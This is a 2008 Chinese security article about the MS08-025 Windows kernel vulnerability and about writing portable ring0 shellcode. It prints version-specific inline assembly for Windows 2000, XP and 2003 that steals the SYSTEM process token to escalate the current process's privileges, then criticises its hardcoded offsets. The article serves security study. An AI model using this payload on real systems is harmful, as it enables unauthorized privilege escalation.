编写通用内核shellcode
作者: Tms320, 出处:ph4nt0m, 责任编辑: 张帅,
2008-06-20 00:00
最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,基于内核漏洞的溢出,为我们获取系统的ring0执行权限打开了方便之门。
一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0
最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出,为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取system权限执行级别。
目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来获取system权限。比较典型的代码如下:
| if ( OsVersionInfo.dwMinorVersion == 0 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x44]//取当前进程EPROCESS mov eax,esi search2000: mov eax,[eax+0xA0] sub eax,0xA0 mov edx,[eax+0x9C] cmp edx,0x8 // 通过PID查找系统进程 jne search2000 mov eax,[eax+0x12C] // 获取system进程的token mov [esi+0x12C],eax // 修改当前进程的token ret 8 } } if ( OsVersionInfo.dwMinorVersion == 1 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x220] mov eax,esi searchXp: mov eax,[eax+0x88] sub eax,0x88 mov edx,[eax+0x84] cmp edx,0x4 // 通过PID查找系统进程 jne searchXp mov eax,[eax+0xc8] // 获取system进程的token mov [esi+0xc8],eax // 修改当前进程的token ret 8 } } if ( OsVersionInfo.dwMinorVersion == 2 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x218] mov eax,esi search2003: mov eax,[eax+0x98] sub eax,0x98 mov edx,[eax+0x94] cmp edx,0x4 // 通过PID查找系统进程 jne search2003 mov eax,[eax+0xd8] // 获取system进程的token mov [esi+0xd8],eax // 修改当前进程的token ret 8 } } |
对于视窗操作系统,由于EPROCESS这个结构不固定,不同系统中system进程PID不同,导致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本,实际是采用硬编码的方式ring0 shellcode。这种做法的兼容性并不是太好,在同一系统不同补丁下,难免保证不出现蓝屏。笔者利用上述代码,在非sp1的2k3系统上蓝屏,深刻体会到了ring0利用程序崩溃时候的威力。
- 本文关键词:

